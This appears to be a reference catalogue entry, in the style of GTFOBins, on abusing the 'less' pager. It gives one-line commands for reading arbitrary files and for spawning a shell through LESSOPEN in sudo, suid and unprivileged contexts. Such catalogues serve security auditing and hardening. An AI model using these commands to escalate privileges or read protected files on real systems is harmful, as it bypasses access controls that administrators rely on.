This can be used to read another file, e.g., when invoked as a pager with some fixed content.
less /etc/hosts
:e /path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-read
This can be used to read another file, e.g., when invoked as a pager with some fixed content.
less /etc/hosts
:e /path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-read
This can be used to read another file, e.g., when invoked as a pager with some fixed content.
less /etc/hosts
:e /path/to/input-file
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-read
This can be used to read another file.
LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-read
This can be used to read another file.
LESSOPEN='echo /path/to/input-file # %s' less /etc/hosts
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-read
The optional `reset` command is needed to receive the echo back of the typed keystrokes.
LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell
The optional `reset` command is needed to receive the echo back of the typed keystrokes.
LESSOPEN="/bin/sh -s 1>&0 2>&0 # %s" less /etc/hosts
reset
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- shell